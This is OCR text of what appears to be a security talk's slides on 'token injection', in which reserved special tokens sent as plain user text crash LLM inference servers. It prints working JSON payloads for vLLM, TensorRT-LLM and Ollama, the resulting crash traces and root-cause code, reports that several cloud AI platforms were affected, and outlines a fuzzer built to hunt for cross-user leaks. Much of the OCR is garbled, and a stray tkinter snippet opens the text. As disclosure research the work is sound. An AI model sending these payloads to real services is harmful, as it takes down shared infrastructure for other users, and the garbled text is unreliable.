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def key_pressed(key):
print(f"{key} pressed")

Token Injection —
Attack LLM
Infrastructure with
Special Tokens

# Create the main window
root = tk.Tk()
root.title("Simple Keyboard")

— keys = ['Q",'W', 'E",'R".'T", 'Y'.'U" I 'O", 'P']
Sao Paulo in the following keys:

button = tk.Button(root, text=key, width=5,
@ g command=lambda k=key: key_pressed(k))
button.pack(side=tk.LEFT)
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Token Injection Crashing LLM Inference With Special Tokens
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Special Token

“ Hugging Face Models Datasets Spaces Community Docs Enterprise  Pricing LogIn Sign Up

Models

stabilityai/stable ffusion-x1
-9

openchat/openchat

1/ControlNet-v1-1

The Al community

building the future. — - ==

The platform where the machine learning community

collaborates on models, datasets, and applications.
ardLM/wi

Explore Al Apps r Browse 1M+ models
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Click the model page
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Files and versions
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model.safetensors = safe B 4.26 GBS xet Y
preprocessor_conﬂg.json 5 Safe 390 Bytes %
tokenizer.json safe 7.03 MB %
tokenizer_conﬂg.json 5 Safe 10.8 kB ¥
video_preprocessor_conﬂg.]son 9 Safe 385 Bytes &

N

yocab.json - Safe 2.78 MB
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Tokenizer_config.json
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model.safetensors = safe B 4.26 GBS xet Y
preprocessor_conﬂg.json 5 Safe 390 Bytes %
tokenizer.json safe 7.03 MB %
tokenizer_conﬂg.json 5 Safe 10.8 kB ¥
video_preprocessor_conﬂg.]son 9 Safe 385 Bytes &
yocab.json - Safe s7a M L
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214 "additional_special_tokens": [ 4 "added_tokens_decoder": §

215 "<|im_start|>", 5 "151643": {

216 "<|im_end|>", 6 "content": "<|endoftext|>",

217 "<|object_ref_start|>", 7 "lstrip": false,

218 "<|object_ref_end|>", 8 "normalized": false,

219 "<|box_start|>", 9 "rstrip": false,

220 "<|box_end|>", 10 "single_word": false,

221 ‘<lquad_start|>", 11 "special”: true

222 "<|quad_end|>", 12 1

223 :<|v?5}on_startl>“, 13 "151644": §

232 "::xizig:_zzg:z“' 14 “content": "<|im_start|>",
) - ! 15 "lstrip": false,

226 "<|image_pad|>", . . .

297 "<|video_pad|>" 16 normallzed : false,

298 1, 17 "I?tIlp": false,

229 "bos_token": null, 18 "51ng}e_word“: false,

230 “chat_template": "{%- set image_count = n: o "special®: true

231 “clean_up_tokenization_spaces": false, 20 5

232 "eos_token": "<|im_end|>", 21 "151645": {

233 "errors": "replace", 22 "content": "<|im_end|>",

234 "model_max_length": 262144, 23 "lstrip®: false,

235 "pad_token": "<|endoftext|>", 24 "normalized”: false,

236 "split_special_tokens": false, 25 "rstrip": false,

237 "tokenizer_class": "Qwen2Tokenizer", 26 "single_word": false,

238 "unk_token": null 27 "special": true

239 | 1 28 t,
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Function Category

OpenAl /
GPT (ChatML)

Meta /
LLaMA

Text Boundary Constraints

Content Filling / Masking

Structural & Role
Switching

Multimodal & Reserved
Markers

<|endoftext|> (EOS)

<|fim_prefix|>,
<|fim_suffix|>

<|im_start|>, <|im_end|>
+ roles

<|reserved_200000|>,
(reserved control tokens)

<|begin_of_text|>
<|end_of_text]|>

N/A

<|start_header_id|>,
<|end_header_id|>,
<|eot_id|>

<|image|>

BERT: [CLS], [SEP]

BERT: [MASK], [PAD], [UNK]

N/A

Multimodal placeholders
vary by model
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Thinking I18
Chat Role ]23
Padding :|28

Code Completion 41

Token Category Distribution (Unused Filtered)

&

=]

j=2]

2

O Tool Calling 43

c

o

3

= Start Marker 74

End Marker 85
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Token Injection

. Definition:

- Injecting reserved

Control Tokens into th

REALITY (TOKEN INJECTION) ¢

input stream to
manipulate the Interna w«e === P R
State of the inference

engine.
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Payload for VLLM

"model": "Qwen/Qwen2.5-VL-3B-Instruct", 1. Text—Only Attack

"messages": [{
2. Single HTTP Request

"role": "user",

"content": [{ 3. Immediate Engine Crash
Iltypell : Iltextll ,
"text":

"<|vision_start|><|video_pad|><]|vision_end|>"
13
}H
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500 Internal Server Error

1
2
3

HTTP/1.1:500 -Internal-Server-Error

server:

date: Thu, -07-Aug:2025-03:12:48 - GMT
uvicorn

(EngineCore_6 pid=1341090) File ", /1 ages/viln/vl ™, line 687, in run_engine_core
(EngineCore_0 pid=1341090)  raise e
(EngineCore_o File "/ 1/ ges/viln/vl ", line 676, in run_engine_core
(EngineCore_o engine_core. run busy._100p()
(EngineCore_o pid=1341036) U/ ges/viln/v1/eng ", line 763, in run_busy_loop
(EngineCore_o pid=1341090) -mm_ncp()
o /L gos/vilm/vl Uine 728, in _process_engine_step
ou!vuu. m\ executed = self.step_fn()
File */ /1 it packages/viln/vi .py", Une 273, in step
pid=1341098)  model_output = self.execute_model_with_error_logging(
pid=1341090) ARRAARAARAAAAARAAAAAAAAAARAARAARAAARAR
(EngineCore_0 pid=1341090)  File /1 packages/viln/vi .py", Uine 259, in execute_model_with_error_logging
(EngineCore_0 pide1341090)  raise err
(EngineCore_0 pid=1341090) File "/home/ Aln/ packages/viln/v1 ", Uine 250, in execute_model_with_error_logging
(EngineCore_0 pid=1341090)  return model_fn(scheduler_output)
(EngineCore_0 pid=1341090) File "/home/ i n/ ges/viln/v1, / py", Line 87, in execute_model
(Enginecore_o output = self.collective_rpc(“execute_model”,
(EngineCore_o ARAAARARAARAARRAARAAARAAAAARRAARAAAR
(EngineCor File " 1n/1 m Juniproc_executor.py", line 58, in collective_rpc
(EngineCore_o answer = run_method (self.driver_worker, method, args, kwargs)
File " U/ U 1 gos/viln/utils/__init__.py", line 2948, in run_method
return func(sargs, sskwargs)
File */homo/ n/ packag X .py", line 116, in decorate_context
return func(s *rkwargs)
pid=1341090) AARAARAARARARRAARARAA
(EngineCore_0 pid=1341098) File / e/ ges/viin/v1/ /gpu_worker .py", ne 362, in execute_model
(EngineCore_0 pid=1341090)  output = self.model_runner,execute_model (scheduler_output,
(EngineCore_0 pid=1341090)
¥ File "/home/ A/ .12/s1te-packages/torch/utils/_contextlib.py", line 116, in decorate_context
(EngineCore_0 pid=1341090) return func(sargs, *+kwargs)
(EngineCore_o pid=1341090) AAAAAAAAAARARARAAAA
pid=1341090) File Um/1: packages/viim/v1/ /gpu_model_runner.py", line 1443, in execute_model
pid=1341090) self._update_states (scheduler_ emm)

File "/

t_input_positions._ xm»r(

n/v1/worker/gou_model_runner.py”, line 481, in _update_states

114.215.250.110:55506 - "POST Ivll:h-tlou-\mm HTTP/1.1" ©
m/

1 Error
T2/ tx-packagus /(1 Ua/odeUexecutor Layers/rotary. smicting/mcopa.py®s ine 163):4n gt Avout oont tiona. bansor

o
return cls..vL_get._nput_positions_tensor(

ARARRARRAAARARAAARARRAAAR

0 pid=1241080)

File
video_grid_thwlvideo_index] (6],

Ala/1 1 packages/viin/model_executor/\ayers/rotary_esbedding/mrope.py”, line 334, in _v1_get_input_positions_tensor

" 0
(EngineCore_0 pid=1341080)

Uist index out of range
Shutting down

Waiting for application shutdown.
shutdown complete.
Finished server process (1346950

(APIServer pid=1348950) INFO:

[t INFO:
(APIServer pid=1346950) INFO:

=i [ RECRERIRY  .ith ccsouseraizoxicgosicaiatinkozsz JRESEEREEY
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500 Internal Server Error

1 HTTP/1.1-500 -Internal-Server-Error
2 date: Thu, -07-Aug-2025-03:12:48-GMT
3 server: -uvicorn

(EngineCore_0 pid=1341090) File ", i/ L 8 Um/vl -py™, line 687, in run_engine_core
(EngineCore_0 pid=1341090)  raise e

(EngineCore_0 pid=1341090) File "/ Am/L 8 Um/v1, .py”, Lline 676, in run_engine_core
(EngineCore_0 pid=1341090)  engine_core. run_busy_loop()

(EngineCore_o pid=1341098) File "/ /1 ges/viln/v1, -py", Vine 763, in run_busy_loop
(EngineCore_0 pid=134109)  self._process_engine_step()

(Engi 0 pi File "/ /L 7 packages/viln/v1, .py", Uine 728, in _process_engine_step
(EngineCore_6 pid=1341099)  outputs, model_executed = self.step_fn()

(EngineCore_8 pid=1341096) AARRARAAARAAR

(EngineCore_0 pid=1341090)  File * /1 2 packages/viin/vi/engine/core.py”, Line 273, in step

(EngineCore_o pid=1341098)  model_output = self.execute_model with_error_logging(

(EngineCore_0 pid=1341090) AARAARAARAAAAARAAARAAAAAARAARAARAAARAR

(EngineCore_0 pid=1341090)  File /1 1 packages/viln/vi .py", Uine 259, in execute_model_with_error_logging
(EngineCore_0 pidv1341090)  raise err

A/ m/v1 ", line 250, in execute_model with_error_logging

File */ )/ 3\

b P Yol oo v
(EngineCore_0 pid=1341090) File "/home/ecs-user/miniconda3/envs/vllm/lib/python3.12
(EngineCore_0 pid=1341090) video_grid_thw[video_index][0],

(EngineCore_0 pid=1341090) e AKAAAAARAAAAA
(EngineCore_0 pid=1341090) IndexError: list index out of range
(APIServer pid=1340950) INFO: Shutting down

(APIServer pid=1340950) INFO: Waiting for application shutdown.
(APIServer pid=1340950) INFO: Application shutdown complete.
(APIServer pid=1340950) INFO: Finished server process [1340950]

-0 get_input_positions_tensor(
(APIServer pid=1348950) INFO: 114.215.250.110:55506 - "POST /vi/chat/completions WTTP/1.1" 00 1 toiial ©
(EngineCore_0 pid=1341090) 1 ges/viln/model_executor /Layers/rotary_esbedding/mrope.py”, line 162, in get_input_positions_tensor

(EngineCore_6 pid=1341098) return cla._vl_get_input_positions_tensor(

(EngineCore 0 pid=1341090) AAAAARAAAAAAAARAAAAAAAAAA ARRARAAAAR

(EngineCore_0 pid=1341098) File *, QALTAE K1 packages/viin/model_executor/layers/rotary_esbedding/mrope.py”, line 334, in _vi_get_input_positions_tensor imgfiip.com
(EngineCore_0 pid=1341080) video_grid_thw[video_index] 6],

(EngineCore_6 pid=1341690)
(EngineCore_0 pid=1341090) IndexErro

st index out of range

(APIServer pid=1340958) INFO: Shutting down

(APIServer pid=1340050) INFO: Waiting for application shutdown.
(APIServer pid=1340950) INFO: Application shutdown complete.
(APIServer pid=1340950) INFO:  Finished server process (1346950

=i [ RECRERIRY  .ith ccsouseraizoxicgosicaiatinkozsz JRESEEREEY
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Inference WorkFlow-VLLM

Attacker

curl -X POST .../vl/chat/completions
payload: "<|vision_start|>|video_pad|>
<|vision_end|>"

Chat Processing Layer
vllm/entrypoints/openai/serving_chat.py:125
create_chat_completion() ->
engine_client.generate()

API Entry Layer
——=|vllm/entrypoints/openai/api_server.py:617 |—>
@router.post('/vl/chat/completions')

Tokenization

"<|video_pad|>"/> token_id: 151656

Vulnerability Trigger Point
v1llm/model_executor/layers/rotary_embedd
ing.py:128@ -—
video_grid_thw[video_index][@]
IndexError: list index out of range

GPU Worker Layer
vllm/worker/gpu_model_runner.py:475
_update_states() ->
MRotaryEmbedding.get_input_positions()

JEngine Core Layer
«<—|vllm/engine/core.py:226
scheduler.add_request() -> execute_model()
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Root Cause

—

for _ in range(video_nums):

t, h, w (

video_grid_thw[video_index][0],
video_grid_thw[video_index][1],

video_grid_thw[video_index][2],
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Payload for TensorRT-LLM

{
"model”: "Qwen/Qwen2.5-VL-3B-Instruct”,

"messages": |[{
"role": "user",
"content": [{
"type": "text",
"text":
"<|vision_start|><|image_pad|><|vision_end|>"
13
4
}
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State Corruption

INFO: 114.215.250.66:51635 - "POST /vl/chat/completions HTTP/1.1" 400 Bad Request
Exception in thread Thread-4 (_executor_loop_overlap):
Traceback (most recent call last):
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/threading.py", line 1052, in _bootstrap_inner
self.run()
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/threading.py", line 989, 1in run
self._target(xself._args, **self._kwargs)
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/_torch/pyexecutor/py_executor.py", line 1016, in _executor_loop_overlap
self._update_request_states(scheduled_batch)
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/_torch/pyexecutor/py_executor.py", line 1647, in _update_request_states
self._update_request_states_tp(scheduled_requests)
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/_torch/pyexecutor/py_executor.py", line 1621, in _update_request_states_tp
request.move_to_next_context_chunk()

RuntimeError: [Tensoer—LLM][ERROR]VAsséfiion failéd: Chuﬁking fsionly possible during theréontextrbhase. (/home/jenkins/égent/workspace/LLM/release-e.Zé]LePp/

include/tensorrt_1lm/batch_manager/llmRequest.h:1556)
1 0x71c5e103c7f2 /home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_l11lm/bindings.cpython-312-x86_64-1linux-gnu.so(+0x3c7f2)

2 0x71c5e10d974b /home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/bindings.cpython-312-x86_64-1l1inux-gnu.so(+0xd974b)
3 0x71c5e10e7026 /home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/bindings.cpython-312-x86_64-linux-gnu.so(+0xe7026)
4 0x71c5e10ael60 /home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/bindings.cpython-312-x86_64-1inux-gnu.so(+0xael60)
5 0x54f024 /home/ecs-user/miniconda3/envs/tensor_rt/bin/python3.12() [0x54f024]
6 0x51d27b _PyObject_MakeTpCall + 763
7 ©x5295ba _PyEval_EvalFrameDefault + R402

10 0x52dfcb _PyEval_EvalFrameDefault + 20363 E

11 Ox57e6ca /home/ecs-user/miniconda3/envs/tensor_rt/bin/python3.12() [0x57e6ca]

12 0x57e1f8 /home/ecs-user/miniconda3/envs/tensor_rt/bin/python3.12() [0x57elf8]

13 0x664e35 /home/ecs-user/miniconda3/envs/tensor_rt/bin/python3.12() [0x664e35]

14 0x627b64 /home/ecs-user/miniconda3/envs/tensor_rt/bin/python3.12() [0x627b64]

15 Ox71c83809caad4 /1ib/x86_64-1linux-gnu/libc.so.6(+0x9caad4) [Ox71c83809caad]

16 0x71c838129¢c3c /1ib/x86_64-Llinux-gnu/libc.s0.6(+0x129¢c3c) [Ox71c838129c3c]

[08/20/2025-15:13:03] [TRT-LLM] [I] Address(host='114.215.250.66', port=51635) 1is disconnected, abort 5
£08/29/2925-15:13:03] [TRT-LLM] [W] Request of client_id 5 is finished, cannot abort it.
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The CUDA Error

15 0x71c83809caad4 /1ib/x86_64-Llinux-gnu/libc.so.6(+0x9caad) [0x71c83809caad]
16 0x71c838129¢c3c /1lib/x86_64-1inux-gnu/libc.so.6(+0x129¢c3c) [Ox71c838129¢c3c]
[08/20/2025-15:13:03] [TRT-LLM] [I] Address(host='114.215.250.66', port=51635) is disconnected, abort 5
[08/20/2025-15:13:03] [TRT-LLM] [W] Request of client_id 5 is finished, cannot abort it.
[08/20/2025-15:13:12] [TRT-LLM] [I] Thread proxy_dispatch_result_thread stopped.
[08/20/2025-15:13:12] [TRT-LLM] [I] Thread proxy_dispatch_kv_cache_events_thread stopped.
[08/20/2025-15:13:12] [TRT-LLM] [I] Thread proxy_dispatch_stats_thread stopped.
[08/20/2025-15:13:12] [TRT-LLM] [E] Traceback (most recent call last):
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/executor/worker.py", line 728, in worker_main
while (req := request_queue.get()) is not None:
AAAAAAAAAAAAAAAAAAAN
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/tensorrt_llm/executor/ipc.py", line 164, in get
obj = pickle.loads(data) # nosec B30l
AAAAAAAAAAAAAAAAAA
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/torch/storage.py", line 530, in _load_from_bytes
return torch.load(io.BytesIO(b), weights_only=False)

RuntimeError: CUDA error: device-side assert triggered

CUDA kernel errors might be asynchronously reported at some other API call, so the stacktrace below might be qincorrect.
For debugging consider passing CUDA_LAUNCH_BLOCKING=1

Compile with 'TORCH_USE_CUDA_DSA' to enable device-side assertions.

~ File "/home/ecs-user/miniconda3/envs/tensor_rt/1ib/python3.12/site-packages/torch/serialization.py", line 1742, 1in persistent_load
obj = restore_location(obj, location)
AAAAAAAAAAAAAAAAAAAAAAAAAAANAAAN
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/torch/serialization.py", line 698, in default_restore_location
result = fn(storage, location)
AAAAAAAAAAAAAAAAAAAAA
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/torch/serialization.py", line 637, in _deserialize
return obj.to(device=device)
AAAAAAAAAAAAAAAAAAAAA
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/torch/storage.py", line 287, in to
return _to(self, device, non_blocking)
AAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAN
File "/home/ecs-user/miniconda3/envs/tensor_rt/lib/python3.12/site-packages/torch/_utils.py", line 102, in _to
untyped_storage.copy_(self, non_blocking)
RuntimeError: CUDA error: device-side assert triggered
CUDA kernel errors might be asynchronously reported at some other API call, so the stacktrace below might be incorrect.
For debugging consider passing CUDA_LAUNCH_BLOCKING=1
Compile with 'TORCH_USE_CUDA_DSA' to enable device-side assertions.




positiv
ac
talks

Inference WorkFlow-TRTLLM

Layer 1: Python Logic Flaw
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Code Analysis 1

for i, input_ids in enumerate(total_input_ids):
vision_start_indices torch.argwhere(
input_ids
vision_start_token_id).squeeze(1)

for _ in range(image_nums video_nums):

image_grid_thw[image_index][0]

1lm_grid_t, 1llm_grid_h, 11
t.item(),

Python
@nvtx_range("_update_request_states")
def _update_request_states_tp(self,

scheduled_requests: ScheduledRequests):

request.move_to_next_context_chunk()

C++

py::class_<GenL1lmReq, std::shared_ptr<GenLlmReqg>>(

"Request")
.def("move_to_next_context_chunk",

GenL1lmReq: :moveToNextContextChunk)
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Code Analysis 2

C++ Terminal:
void moveToNextContextChunk() RuntimeError: [TensorRT-LLM][ERROR] Assertion failed:
{ Chunking is only possible during the context phase.
TLLM_CHECK_WITH_INFO(isContextInitState(), (/home/jenkins/agent/workspace/LLM/release-
"Chunking is only possible during the context 0.20/L0_Test-
phase."); x86_64/tensorrt_llm/cpp/include/tensorrt_llm/batch_mana

ger/llmRequest.h:1556)
mContextCurrentPosition getContextChunkSize();
setContextChunkSize(0);
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Code Analysis 3

C++ Terminal:
void CublasMMWrapper::Gemm(cublasOperation_t transa, RuntimeError: CUDA error: device-side assert
cublasOperation_t transb...) triggered
{
CUDA kernel errors might be asynchronously
check_cuda_error(cublasGemmEx ( reported at some other API call,
getCublasHandle(), so the stacktrace below might be incorrect.
m, n, k,
alpha, For debugging consider passing
A, mAType, lda, CUDA_LAUNCH_BLOCKING=1

Compile with 'TORCH_USE_CUDA_DSA' to enable

static_cast cublasGemmAlgo_t (cublasAlgo) device-side assertions.

)
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Payload for Olima

{

"model"”: "gemma3",
. , 1. Text-Only Attack
messages": [{
"role": "user", 2. Single HTTP Request
content”: [{ 3. Immediate Engine Crash
n typell : Iltext n ,
"text": "what's in picture

<start_of_image><image_soft_token><end_of_image>

4
H
}
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System Crash: Register Dump

runtime.netpollblock(0x5b5e21aaa538?, 0x2la20ae6?, 0x5e?)
runtime/netpoll.go:575 +0xf7 fp=0xc00183celd sp=0xc00183cdd8 pc=0x5b5e21a4bfb7
internal/poll. runtime_pollWait(0x7el89bac7ebd, 0x72)
runtime/netpoll.go:351 +0x85 fp=0xc00183ce30 sp=0xcO0183cel® pc=0xS5b5e21a863e5
internal/poll. (xpollDesc) .wait(0xc001c86000?, OxcOOO17e701?, Ox0O)
internal/poll/fd_poll_runtime.go:84 +0x27 fp=0xc00183ce58 sp=0xc00183ce30 pc=0x5b5e21b0d827
internal/poll. (*pollDesc) .waitRead(...)
internal/poll/fd_poll_runtime.go:89
internal/poll. (*FD) .Read (0xc001c86000, {OxcO0017e701, Ox1, Ox1})
internal/poll/fd_unix.go:165 +0x27a fp=0xc00183cef® sp=0xc00183ce58 pc=0x5bSe21bOebla
net. (*netFD) .Read (0xc001c86000, {OxcOOO17e701?, OxcOOO71cOd8?, OxcOO183cf70?})
net/fd_posix.go:55 +0x25 fp=0xc00183cf38 sp=0xc00183cefd pc=0x5b5e21b83165
net. (xconn) .Read (0xc001c8a000, {OxcOOO17e701?, OxcOO1lel7480?, Ox5b5e2ldee3e0?})
net/net.go:194 +0x45 fp=0xc00183cf80 sp=0xc00183cf38 pc=0x5b5€21b91525
net/http. (xconnReader) .backgroundRead (0xc00017e6f0)
net/http/server.go:690 +0x37 fp=0xc00183cfc8 sp=0xc00183cf80 pc=0x5b5e21d7d397
net/http. (xconnReader) .startBackgroundRead. gowrap2 ()
net/http/server.go:686 +0x25 fp=0xc00183cfe® sp=0xc00183cfc8 pc=0x5b5e21d7d2c5
runtime.goexit({})
runtime/asm_amd64.s:1700 +0x1 fp=0xc00183cfe8 sp=0xc00183cfed pc=0x5b5e21a8e901
created by net/http. (*connReader).startBackgroundRead 1in goroutine 29
net/http/server.go:686 +0xb6

rax 0x0

rbx 0x21a489

rex 0x7e189b89eb2c
rdx 0x6

rdi 0x21a480

rsi 0x21a489

rbp 0x7e18473ff4b0
rsp 0x7e18473ff470

r8 0x0

r9 0x0

rile 0x8

ril 0x246

ri2 0x6

ri3  0x1049 L
ri4 0x16

ris 0x7e18090507e0
rip 0x7e189b89eb2c
rflags 0x246

cs 0x33
fs 0x0
gs 0x0

time=2025-08-20T15:32:19.339+08:00 level=ERROR source=server.go:800 msg="post predict" error="Post \"http://127.0.0.1:42499/completion\": EOF"
[GIN] 2025/08/20 - 15:32:19 |JELM| 119.354465ms | 114.215.250.66 |5 "/v1/chat/completions"
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Segmentation Fault

runtime.netpollblock(0x5b5e21aaa538?, 0x21a20ae6?, Ox5e?)
runtime/netpoll.go:575 +0xf7 fp=0xcO0183cel® sp=0xcO0183cdd8 pc=0x5b5e2ladbfb7
internal/poll.runtime_pollWait(0x7el189bac7eb®, ©x72)

runtime.netpollblock (0x5b5e21aaa538?, 0x21a20ae6?, 0x5e?)
runtime/netpoll.go:575 +0xf7 fp=0xc00183cel® sp=0xc00183cdd8 pc=0x5b5e21la4bfb7
internal/poll. runtime_pollWait(0x7el89bac7ebd, 0x72)
runtime/netpoll.go:351 +0x85 fp=0xc00183ce30 sp=0xc00183celd pc=0x5b5e21a863e5
internal/poll. (xpollDesc) .wait(0xc001c86000?, OxcOOO17e701?, Ox0O)
internal/poll/fd_poll_runtime.go:84 +0x27 fp=0xc00183ce58 sp=0xc00183ce30 pc=0x5b5e21b0d827
internal/poll. (xpollDesc) .waitRead(...)
internal/poll/fd_poll_runtime.go:89
internal/poll. (xFD) .Read (0xc001c86000, {OxcOOO17e701, Ox1, Ox1})
internal/poll/fd_unix.go:165 +0x27a fp=0xc00183cefd sp=0xcO0183ce58 pc=0x5b5e21bOebla
net. (*netFD) .Read (0xc001c86000, {OxcOHOO17e701?, OxcOOO71cOd8?, OxcOO183cf70?})
net/fd_posix.go:55 +0x25 fp=0xc00183cf38 sp=0xc00183cef® pc=0x5b5e21b83165
net. (*conn) .Read (0xc001c8a000, {OxcOHOO17e701?, OxcOO1el7480?, Ox5b5e2ldee3ed?})
net/net.go:194 +0x45 fp=0xc00183cf80 sp=0xc00183cf38 pc=0x5b5e21b91525
net/http. (xconnReader) .backgroundRead (0xc00017e6f0)
net/http/server.go:690 +0x37 fp=0xc00183cfc8 sp=0xcOO183cf80 pc=0x5b5e21d7d397
net/http. (xconnReader) .startBackgroundRead. gowrap2 ()
net/http/server.go:686 +0x25 fp=0xc00183cfed sp=0xcO0183cfc8 pc=0x5b5e21d7d2c5
runtime.goexit({})
runtime/asm_amd64.s:1700 +0x1 fp=0xc00183cfe8 sp=0xc00183cfed pc=0x5b5e21a8e901
created by net/http. (*connReader).startBackgroundRead in goroutine 29
net/http/server.go:686 +0xb6

L vy g e AR | mme et ormm | a tae a vy g e e

(addd — ) — ' o | —
time=2025-08-20T15:32:19.474+08:00 level=ERROR source=server.go:457 msg="1lama runner terminated" error="exit status 2"
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Out-of-Bound Memory Access

Injects special

T

Passes Bad Ne/Nb

kecaca=d

token Layer 1: HTTP 6o Logic Flaw Input w/ Empty Layer 2: Model State Corruption
/ Prompt Stri fensor
romp rin
- A ropagates
g———mmemmmmmataa \ runner.inputs / ceesse Garbage Value . I . Corrupted Tensor
1 server/routes.go Logic Error: PostTokenize /f \ inputMultimodal.Dim 1], slices.Repeat
Attacker ' No Input Creates Input with (6emma3) Returns: @ / Neg / Generates Wrong
1Input: Special Token: Validation Invalid Multimodal Random Dims
Images: Empty List | Tensor
\,‘-----""----Hfl
Layer 3: C&0 Boundary
prmmmm————
Layer 4: 66ML C CPU Crash 1 Context.Compute
Using Corrupt Dims ' unsafe.Pointer
i@l > ne@l Out of Bounds ! Conversion
j(’ I 6o Safety Lost
\ Read Garbage Bad Offset Calc ggml-cpu Frmmmmmmsmme
Memgry i1@+#nbl@ + ops.cpp -
Val: Bx204883flc ill=nbll... Eorward Pass Direct Memory Access
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Impact

Root Cause:

Mixing Control & Data: Special Tokens (Control)
are processed in the same stream as User Prompts
(Data) .

Just like SQL Injection, but for LLMs.

Impact:
Memory corruption or weird state
Directly crash the system
May lead to further exploitation
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Tested on Open Source LLM Infra

Token Injection is universal.

It affects the core of the LLM serving

TEEM, 0 SGly ML,

@2 OX P Text Generation Inferep%
NVIDIA 3
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It also breaks real-worild Cloud
Platforms!
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Model

deepseek-vi2

System Prompt‘~

Max Tokens 1024
—

Temperature 07
—

Top-P 07
—_—

Top-K*“/ 50

Frequency Penalty © 0.0

() Mmost error!

deepseek-vi2

Hello! How can | help you?

Ttokens: 8, 170.21 tokens/s)

Hello

o+
oo

Hello! How can | help you?

Ttokens: 8, speed: 145.

What s in
the picture?
Model request error!
Which is the best programming language?  Does a red face mean drunrensess?  How to evaluate Jay Chou's status...  What fish is commonly used for boilec &

Content is Al-generated, accuracy not guaranteed, a

iconFlow & Neta Al

hello, O

hello,

Hello! How's your day going so far in Singapore?

What is in this picture? <|image_start|><|image|><|patch|>
<|image|><|image_end|>

Reply to Meta Al...
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Nvdi

Preview JSON Python Node Shall

Using free API for development Upgrade

What is in this image<|image_start|><|image|><|patch|><|image|><|image_end|>?
requests, baseéb4

invoke_url = "ht / egrate.api.nvidia.cc
stream =

-png”, * s
image_bé4 baseb64.bbé4encode(f.read()) .decode()

headers
~ $API_KEY_REQUIRED_IF_EXECUTING_OUTSIDE
tream" if stream else "application/json"

payload
‘model : / .2-90b-vision-instruct",

mage_st

image/png;baseb4, {image_bé4}\"
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Google Vertex Al

Failed to submit prompt

Error message: "Model server connection error. Please retry. endpoint_id:
7193532834491924480, deployed_model_id: 3846126858332536832"

Status: 500 Error code: 13
Request ID: 12754892352692655130

Send Feedback
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OpenRouter

< OpenRouter o / Models Chat Rankings  Dacs -rc)@

[0 # NewcChat ® | ¥ Qwen2.5VL72BInstruet i x  +

TODAY
hello
hello?

hello

5

No response generated

(A

No response generated

& & © websearch
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Hugging Face TGl

Gemma312BIT

This is a demo of Gemma 3 12B it, a vision language model with outstanding performance on a wide range of tasks. You can upload images, interleaved images and videos. Note that video
input only supports single-turn conversation and mp4 input.

‘... YOU Can gescripe tne content or tne Image ana ask quesuons. ror exampie, you can say:

H
&

Chatbot

"There is a cat in the picture"
"How many people are on the beach in the picture"
"The picture is a landscape photo with mountains and water"

| will try my best to understand your description and give an answer according to your question.

Error

What is in the image?
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Microsoft Azure

</> View code [ESELISIOES - Import + I-> Export v 88 Promptsamples & Filters feedback

Chat histor
Setup [ Hide y
P Azure Al Foundry | vision Al generated content may be incorrect
Deployment * —+ Create new deployment
The image features a close-up of a cat’s face.
Phi-4-multimodal-instruct (version.1) v

> Parameters

# Azure Al Foundry | vision Al-generated content may be incorrect

Hello! Hello!

¥ & d

Hello?

<|endoftext10|>
What is in the image?

Hello?

hello?

h';)w user query here. (Shift + Enter for new line)

244/128000 tokenstobesent fj
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Demo-Azure

v § Chatplayground - AzureAlFo. X+ - (o]
€ > C 25 aiazurec pl i ipti b7f8a%e-a496-44a5-bcbe-3decch25216¢0, P ‘provi i CognitiveServices, foundry-4413/projects/firstProject&tid=fb6be652-4c5d-48f2-9ada-590da 1e084c0&deploym... @ Guest
e - foundry-4413
# Azure Al Foundry firstProject & Playgrounds Chat playground e Docs All resources f i§3 (@} st ) v .
® & Chat playground ~ @ Help
(R Overview
(PRI (3 Deploy ~ =l Import ~ |- Export v 38 Prompt samples
@& Model catalog
| ®; Playgrounds "
Chat histol ¢ & d
Setup [E Hide 24
Build and customize
G Agents Deployment * —+ Create new deployment -
</> Templates Phi-4-multimodal-instruct (version:1) b
L Fine-tuning
> Parameters
Content
B

PREVIEW
Understanding
Observe and optimize
&o Tracing FRview eoeo
= Monitoring
Start with a sample prompt

Protectand goven A

&B Evaluation PReview

© Guardrails + controls < Marketing slogan © Dialogue creation # Poetry generation
Create a catchy marketing slogan for a Create a conversation between two Compose a poem about the beauty of
new eco-friendly product. characters who are meeting for the first nature in autumn.

Q) Risks + alerts Preview
o R time in a mysterious place.
Azure OpenAl ~

&'j Assistant vector stores

O Data files

My assets N
@ Models + endpoints

Irype user query here. (Shift + Enter for new line)
+ More

11/128000 tokenstobe sent § ®

-3) Management center



http://drive.google.com/file/d/1jGmsRQbu9H1-QkHVgwG5nhswKIAL85C-/view
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End?

We didn't want to stop at just

"Crashes".

Designed a specialized Black-box

Fuzzer.

Hunting for Other Cross-User Bugs
(e.g., Leaking or manipulating

other users' conversations).
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The Fuzzer

Start - Mode Selector

Blackbox

Mode

Differential
Mode

whitebosx
Mode

Q

!

J

Target Cloud Platform

Process 1: Baseline

Process 2:

Process 3: Attacker -

Shared Core Componen‘ts

Seed Corpus
Manager

Mutation
Er\gine,

Response
Analyzer

Crash
Deoluplicator

v

Blackbox Execution Layer

HTTP API
Executor

AI‘\OMGIV
Detector

Multimodal
Injector

|

Differential Testing
Module
Cross-User Leak

Detection

User Be_nign User Fuzzer

Request:
'Bcho Number 1'

Expect:

Reque.st:
Fuzzing F’m{[oaals

